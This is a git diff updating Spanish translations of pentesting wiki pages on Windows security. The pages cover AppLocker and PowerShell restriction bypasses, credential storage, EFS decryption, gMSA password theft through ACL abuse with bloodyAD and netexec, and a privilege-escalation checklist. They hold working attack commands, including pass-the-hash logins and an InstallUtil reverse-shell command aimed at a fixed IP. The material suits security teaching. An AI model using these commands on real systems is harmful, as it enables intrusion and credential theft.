|
||||
- Los binarios comúnmente **confiables** [**"LOLBAS's"**](https://lolbas-project.github.io/) también pueden ser útiles para bypass AppLocker.
|
||||
- **Reglas mal escritas también podrían ser bypassed**
|
||||
- Por ejemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida.
|
||||
- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement very rarely enabled** debido a la carga adicional que puede imponer al sistema y la cantidad de pruebas necesarias para asegurar que nada falle. Por eso usar **DLLs as backdoors will help bypassing AppLocker**.
|
||||
- Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **execute Powershell** code en cualquier proceso y bypass AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
- **DLL enforcement very rarely enabled** debido a la carga adicional que puede imponer en un sistema y la cantidad de pruebas necesarias para asegurar que nada falle. Por eso usar **DLLs como backdoors ayudará a bypass AppLocker**.
|
||||
- Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar PowerShell** code en cualquier proceso y bypass AppLocker. Para más info consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Almacenamiento de credenciales
|
||||
|
||||
### Security Accounts Manager (SAM)
|
||||
### Administrador de cuentas de seguridad (SAM)
|
||||
|
||||
Las credenciales locales están presentes en este archivo; las contraseñas están almacenadas como hashes.
|
||||
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
### Autoridad de seguridad local (LSA) - LSASS
|
||||
|
||||
Las **credenciales** (hashed) se **guardan** en la **memoria** de este subsistema por razones de Single Sign-On.\
|
||||
Las **credenciales** (almacenadas como hashes) se **guardan** en la **memoria** de este subsistema por motivos de Single Sign-On.\
|
||||
**LSA** administra la **política de seguridad** local (política de contraseñas, permisos de usuarios...), **autenticación**, **tokens de acceso**...\
|
||||
LSA será quien **verifique** las credenciales proporcionadas dentro del archivo **SAM** (para un inicio de sesión local) y **se comunique** con el **controlador de dominio** para autenticar a un usuario de dominio.
|
||||
LSA será quien **compruebe** las credenciales proporcionadas dentro del archivo **SAM** (para un inicio de sesión local) y **hable** con el **controlador de dominio** para autenticar a un usuario de dominio.
|
||||
|
||||
Las **credenciales** se **guardan** dentro del **proceso LSASS**: tickets Kerberos, hashes NT y LM, contraseñas que pueden ser fácilmente descifradas.
|
||||
Las **credenciales** se **guardan** dentro del **proceso LSASS**: tickets Kerberos, hashes NT y LM, contraseñas fácilmente descifrables.
|
||||
|
||||
### Secretos de LSA
|
||||
### LSA secrets
|
||||
|
||||
LSA podría guardar en disco algunas credenciales:
|
||||
LSA puede guardar en disco algunas credenciales:
|
||||
|
||||
- Contraseña de la cuenta del equipo de Active Directory (controlador de dominio inaccesible).
|
||||
- Contraseñas de las cuentas de servicios de Windows
|
||||
- Contraseña de la cuenta del equipo del Active Directory (controlador de dominio no accesible).
|
||||
- Contraseñas de las cuentas de los servicios de Windows
|
||||
- Contraseñas de tareas programadas
|
||||
- Más (contraseña de aplicaciones IIS...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Es la base de datos de Active Directory. Solo está presente en los controladores de dominio.
|
||||
Es la base de datos del Active Directory. Solo está presente en los controladores de dominio.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) es un antivirus disponible en Windows 10 y Windows 11, y en versiones de Windows Server. Bloquea herramientas comunes de pentesting como **`WinPEAS`**. Sin embargo, existen formas de eludir estas protecciones.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) es un antivirus disponible en Windows 10 y Windows 11, y en versiones de Windows Server. **Bloquea** herramientas comunes de pentesting como **`WinPEAS`**. Sin embargo, hay formas de eludir estas protecciones.
|
||||
|
||||
### Verificar
|
||||
### Check
|
||||
|
||||
Para comprobar el **estado** de **Defender** puedes ejecutar el cmdlet de PS **`Get-MpComputerStatus`** (revisa el valor de **`RealTimeProtectionEnabled`** para saber si está activo):
|
||||
Para comprobar el **estado** de **Defender** puedes ejecutar el cmdlet de PowerShell **`Get-MpComputerStatus`** (revisa el valor de **`RealTimeProtectionEnabled`** para saber si está activo):
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -103,12 +103,12 @@ sc query windefend
|
||||
```
|
||||
## Sistema de archivos cifrado (EFS)
|
||||
|
||||
EFS protege los archivos mediante cifrado, utilizando una **clave simétrica** conocida como **File Encryption Key (FEK)**. Esta clave se cifra con la **clave pública** del usuario y se almacena dentro del $EFS **flujo de datos alternativo** del archivo cifrado. Cuando se necesita descifrar, se usa la **clave privada** correspondiente del certificado digital del usuario para descifrar la FEK desde el flujo $EFS. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS protege archivos mediante cifrado, utilizando una **clave simétrica** conocida como **File Encryption Key (FEK)**. Esta clave se cifra con la **clave pública** del usuario y se almacena dentro del flujo de datos alternativo $EFS del archivo cifrado. Cuando se necesita descifrar, se usa la **clave privada** correspondiente del certificado digital del usuario para descifrar la FEK desde el flujo $EFS. Más detalles pueden encontrarse [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Escenarios de descifrado sin intervención del usuario** incluyen:
|
||||
|
||||
- Cuando archivos o carpetas se mueven a un sistema de archivos no EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se descifran automáticamente.
|
||||
- Archivos cifrados enviados por la red vía SMB/CIFS se descifran antes de la transmisión.
|
||||
- Cuando archivos o carpetas se mueven a un sistema de archivos no-EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), se descifran automáticamente.
|
||||
- Archivos cifrados enviados por la red vía el protocolo SMB/CIFS se descifran antes de la transmisión.
|
||||
|
||||
Este método de cifrado permite **acceso transparente** a los archivos cifrados para el propietario. Sin embargo, simplemente cambiar la contraseña del propietario e iniciar sesión no permitirá el descifrado.
|
||||
|
||||
@ -116,21 +116,21 @@ Este método de cifrado permite **acceso transparente** a los archivos cifrados
|
||||
|
||||
- EFS usa una FEK simétrica, cifrada con la clave pública del usuario.
|
||||
- El descifrado emplea la clave privada del usuario para acceder a la FEK.
|
||||
- El descifrado automático ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red.
|
||||
- Los archivos cifrados son accesibles al propietario sin pasos adicionales.
|
||||
- El descifrado automático ocurre en condiciones específicas, como copiar a FAT32 o transmisión por red.
|
||||
- Los archivos cifrados son accesibles para el propietario sin pasos adicionales.
|
||||
|
||||
### Ver información de EFS
|
||||
### Check EFS info
|
||||
|
||||
Comprueba si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Check si un **user** ha **used** este **service** comprobando si existe esta ruta:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Comprueba **quién** tiene **acceso** al archivo usando cipher /c \<file>\
|
||||
También puedes usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
|
||||
Check **who** has **access** to the file usando cipher /c \<file\>
|
||||
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
|
||||
|
||||
### Descifrado de archivos EFS
|
||||
### Decrypting EFS files
|
||||
|
||||
#### Obtener privilegios SYSTEM
|
||||
#### Tener privilegios de SYSTEM
|
||||
|
||||
Este método requiere que el **usuario víctima** esté **ejecutando** un **proceso** en el host. Si ese es el caso, usando una sesión `meterpreter` puedes suplantar el token del proceso del usuario (`impersonate_token` de `incognito`). O simplemente podrías `migrate` al proceso del usuario.
|
||||
Este método requiere que el **victim user** esté **ejecutando** un **process** dentro del host. Si ese es el caso, usando una sesión `meterpreter` puedes suplantar el token del proceso del usuario (`impersonate_token` from `incognito`). O simplemente podrías `migrate` al process del usuario.
|
||||
|
||||
#### Conocer la contraseña del usuario
|
||||
|
||||
@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
|
||||
## Cuentas de servicio administradas de grupo (gMSA)
|
||||
|
||||
Microsoft desarrolló las **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la opción "**Password never expire**", las gMSA ofrecen una solución más segura y manejable:
|
||||
Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen la opción "**Password never expire**" habilitada, las gMSA ofrecen una solución más segura y manejable:
|
||||
|
||||
- **Gestión automática de contraseñas**: las gMSA usan una contraseña compleja de 240 caracteres que cambia automáticamente según la política de dominio o equipo. Este proceso lo gestiona el Key Distribution Service (KDC) de Microsoft, eliminando la necesidad de actualizar contraseñas manualmente.
|
||||
- **Gestión automática de contraseñas**: las gMSA usan una contraseña compleja de 240 caracteres que cambia automáticamente según la política de dominio o equipo. Este proceso lo gestiona el Key Distribution Service (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseña.
|
||||
- **Mayor seguridad**: estas cuentas son inmunes a bloqueos y no pueden usarse para inicios de sesión interactivos, mejorando su seguridad.
|
||||
- **Soporte para múltiples hosts**: las gMSA pueden compartirse entre varios hosts, siendo ideales para servicios que se ejecutan en múltiples servidores.
|
||||
- **Capacidad para tareas programadas**: a diferencia de las managed service accounts, las gMSA soportan la ejecución de scheduled tasks.
|
||||
- **Gestión simplificada de SPN**: el sistema actualiza automáticamente el Service Principal Name (SPN) cuando hay cambios en los detalles sAMaccount del equipo o en el nombre DNS, simplificando la gestión de SPN.
|
||||
- **Compatibilidad con múltiples hosts**: las gMSA pueden compartirse entre varios hosts, lo que las hace ideales para servicios que se ejecutan en múltiples servidores.
|
||||
- **Capacidad para tareas programadas**: a diferencia de las managed service accounts, las gMSA soportan la ejecución de tareas programadas.
|
||||
- **Gestión simplificada de SPN**: el sistema actualiza automáticamente el Service Principal Name (SPN) cuando hay cambios en los detalles sAMAccount del equipo o en el nombre DNS, simplificando la gestión de SPN.
|
||||
|
||||
Las contraseñas de las gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Domain Controllers (DCs). Esta contraseña, un blob de datos cifrado conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que las gMSA están instaladas, garantizando un entorno seguro. Para acceder a esta información se requiere una conexión segura como LDAPS, o que la conexión esté autenticada con 'Sealing & Secure'.
|
||||
Las contraseñas de las gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y son reiniciadas automáticamente cada 30 días por los Domain Controllers (DCs). Esta contraseña, un blob de datos cifrados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), sólo puede ser recuperada por administradores autorizados y por los servidores en los que están instaladas las gMSA, asegurando un entorno protegido. Para acceder a esta información se requiere una conexión segura como LDAPS, o que la conexión esté autenticada con 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
@ -157,48 +157,48 @@ Puedes leer esta contraseña con [**GMSAPasswordReader**](https://github.com/rva
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
[**Encuentra más información en este post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
|
||||
Además, consulta esta [página web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre cómo realizar un **NTLM relay attack** para **leer** la **contraseña** de **gMSA**.
|
||||
|
||||
### Abuso del encadenamiento de ACL para leer la contraseña gestionada de gMSA (GenericAll -> ReadGMSAPassword)
|
||||
### Abusar de encadenamiento de ACL para leer la contraseña gestionada de gMSA (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
En muchos entornos, usuarios con pocos privilegios pueden pivotar hacia secretos de gMSA sin comprometer el DC abusando de ACLs de objetos mal configuradas:
|
||||
En muchos entornos, usuarios con pocos privilegios pueden pivotar hacia secretos de gMSA sin comprometer el DC aprovechando ACLs de objetos mal configuradas:
|
||||
|
||||
- Un grupo que puedes controlar (p. ej., mediante GenericAll/GenericWrite) obtiene `ReadGMSAPassword` sobre un gMSA.
|
||||
- Un grupo que puedes controlar (p. ej., mediante GenericAll/GenericWrite) tiene concedido `ReadGMSAPassword` sobre un gMSA.
|
||||
- Al agregarte a ese grupo, heredas el derecho a leer el blob `msDS-ManagedPassword` del gMSA vía LDAP y derivar credenciales NTLM utilizables.
|
||||
|
||||
Flujo típico:
|
||||
Flujo de trabajo típico:
|
||||
|
||||
1) Descubre la ruta con BloodHound y marca tus principals de foothold como Owned. Busca aristas como:
|
||||
1) Descubre la ruta con BloodHound y marca tus principals de foothold como Owned. Busca edges como:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Agrégate al grupo intermedio que controlas (ejemplo con bloodyAD):
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
3) Leer la contraseña gestionada del gMSA vía LDAP y derivar el hash NTLM. NetExec automatiza la extracción de `msDS-ManagedPassword` y la conversión a NTLM:
|
||||
3) Leer la contraseña administrada de gMSA vía LDAP y derivar el hash NTLM. NetExec automatiza la extracción de `msDS-ManagedPassword` y la conversión a NTLM:
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
4) Autentícese como la gMSA usando el NTLM hash (no se necesita plaintext). Si la cuenta está en Remote Management Users, WinRM funcionará directamente:
|
||||
4) Autentícate como el gMSA usando el hash NTLM (no se necesita plaintext). Si la cuenta está en Remote Management Users, WinRM funcionará directamente:
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
Notas:
|
||||
- Las lecturas LDAP de `msDS-ManagedPassword` requieren sealing (p. ej., LDAPS/sign+seal). Las herramientas manejan esto automáticamente.
|
||||
- A los gMSAs frecuentemente se les otorgan derechos locales como WinRM; valida la pertenencia a grupos (p. ej., Remote Management Users) para planear movimientos laterales.
|
||||
- Si solo necesitas el blob para calcular tú mismo el NTLM, consulta la estructura MSDS-MANAGEDPASSWORD_BLOB.
|
||||
- LDAP reads of `msDS-ManagedPassword` require sealing (p. ej., LDAPS/sign+seal). Las herramientas manejan esto automáticamente.
|
||||
- A los gMSAs a menudo se les conceden permisos locales como WinRM; valida la pertenencia a grupos (p. ej., Remote Management Users) para planificar movimiento lateral.
|
||||
- Si solo necesitas el blob para calcular el NTLM tú mismo, consulta la estructura MSDS-MANAGEDPASSWORD_BLOB.
|
||||
|
||||
|
||||
|
||||
## LAPS
|
||||
|
||||
La Local Administrator Password Solution (LAPS), disponible para descarga desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite gestionar las contraseñas de los Administradores locales. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma centralizada en Active Directory. El acceso a estas contraseñas está restringido mediante ACLs a usuarios autorizados. Con permisos suficientes, es posible leer las contraseñas de administradores locales.
|
||||
La **Local Administrator Password Solution (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de las contraseñas del administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido mediante ACLs a usuarios autorizados. Con los permisos suficientes, se otorga la capacidad de leer las contraseñas del administrador local.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -207,7 +207,7 @@ La Local Administrator Password Solution (LAPS), disponible para descarga desde
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restringe muchas de las funcionalidades** necesarias para usar PowerShell de forma efectiva, como bloquear COM objects, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restringe muchas de las características** necesarias para usar PowerShell de forma efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
|
||||
|
||||
### **Comprobar**
|
||||
```bash
|
||||
@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
En las versiones actuales de Windows ese Bypass no funciona, pero puedes usar[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Para compilarlo puede que necesites** **para** _**Agregar una referencia**_ -> _Examinar_ ->_Examinar_ -> añadir `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
|
||||
En las versiones actuales de Windows ese Bypass no funcionará pero puedes usar[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Para compilarlo puede que necesites** **para** _**Agregar una referencia**_ -> _Examinar_ ->_Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
|
||||
|
||||
#### Bypass directo:
|
||||
```bash
|
||||
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y evadir Constrained Language Mode. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para ejecutar código Powershell en cualquier proceso y eludir el modo constricto. Para más info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## Política de ejecución de PS
|
||||
|
||||
Por defecto está configurada como **restricted.** Las principales formas de evadir esta política:
|
||||
Por defecto está configurado como **restricted.** Principales formas de eludir esta política:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -258,35 +258,35 @@ Más información se puede encontrar [here](https://blog.netspi.com/15-ways-to-b
|
||||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
Es la API que se puede usar para autenticar a los usuarios.
|
||||
Es la API que se puede usar para autenticar usuarios.
|
||||
|
||||
El SSPI se encargará de encontrar el protocolo adecuado para que dos máquinas que quieran comunicarse lo usen. El método preferido para esto es Kerberos. Luego el SSPI negociará qué protocolo de autenticación se utilizará; estos protocolos de autenticación se llaman Security Support Provider (SSP), están ubicados dentro de cada máquina Windows en forma de DLL y ambas máquinas deben soportar el mismo para poder comunicarse.
|
||||
El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que quieran comunicarse. El método preferido para esto es Kerberos. Luego el SSPI negociará qué protocolo de autenticación se utilizará; estos protocolos de autenticación se llaman Security Support Provider (SSP), están ubicados dentro de cada máquina Windows en forma de DLL y ambas máquinas deben soportar el mismo para poder comunicarse.
|
||||
|
||||
### Principales SSPs
|
||||
### Main SSPs
|
||||
|
||||
- **Kerberos**: El preferido
|
||||
- **Kerberos**: The preferred one
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** and **NTLMv2**: Razones de compatibilidad
|
||||
- **NTLMv1** and **NTLMv2**: Compatibility reasons
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Web servers and LDAP, password in form of a MD5 hash
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL and TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: Se usa para negociar el protocolo a utilizar (Kerberos o NTLM, siendo Kerberos el predeterminado)
|
||||
- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### La negociación podría ofrecer varios métodos o solo uno.
|
||||
#### The negotiation could offer several methods or only one.
|
||||
|
||||
## UAC - User Account Control
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita un **mensaje de consentimiento para actividades elevadas**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
|
||||
@ -2,113 +2,113 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Mejor herramienta para buscar vectores de escalada de privilegios local en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Mejor herramienta para buscar vectores de Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Información del sistema](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Obtener [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Buscar **exploits** de **kernel** [**usando scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usar **Google** para buscar **exploits** de kernel
|
||||
- [ ] Usar **searchsploit** para buscar **exploits** de kernel
|
||||
- [ ] Buscar **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usar **Google para buscar** kernel **exploits**
|
||||
- [ ] Usar **searchsploit para buscar** kernel **exploits**
|
||||
- [ ] ¿Información interesante en [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] ¿Contraseñas en el [**historial de PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] ¿Información interesante en los [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] ¿[**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] ¿[**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] ¿Contraseñas en el [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] ¿Información interesante en [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] ¿[**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Enumeración de Logging/AV](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Revisar la configuración de [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) y [**WEF**](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Comprobar [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)y [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
|
||||
- [ ] Comprobar [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Comprobar si [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) está activo
|
||||
- [ ] Comprobar si [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)está activo
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Comprobar si hay algún [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Privilegios de usuario**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Comprobar [**privilegios** del **usuario actual**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] ¿Eres [**miembro de algún grupo privilegiado**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Comprobar si tienes habilitados algunos de estos tokens: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Sesiones de usuarios**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Comprobar [**carpetas home** de los usuarios](windows-local-privilege-escalation/index.html#home-folders) (¿acceso?)
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Comprobar los **privilegios** del usuario **actual**(windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] ¿Eres [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Comprobar si tienes alguno de estos tokens habilitados: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Comprobar[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (¿acceso?)
|
||||
- [ ] Comprobar la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] ¿Qué hay [**dentro del Portapapeles**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] ¿Qué hay [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Red](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
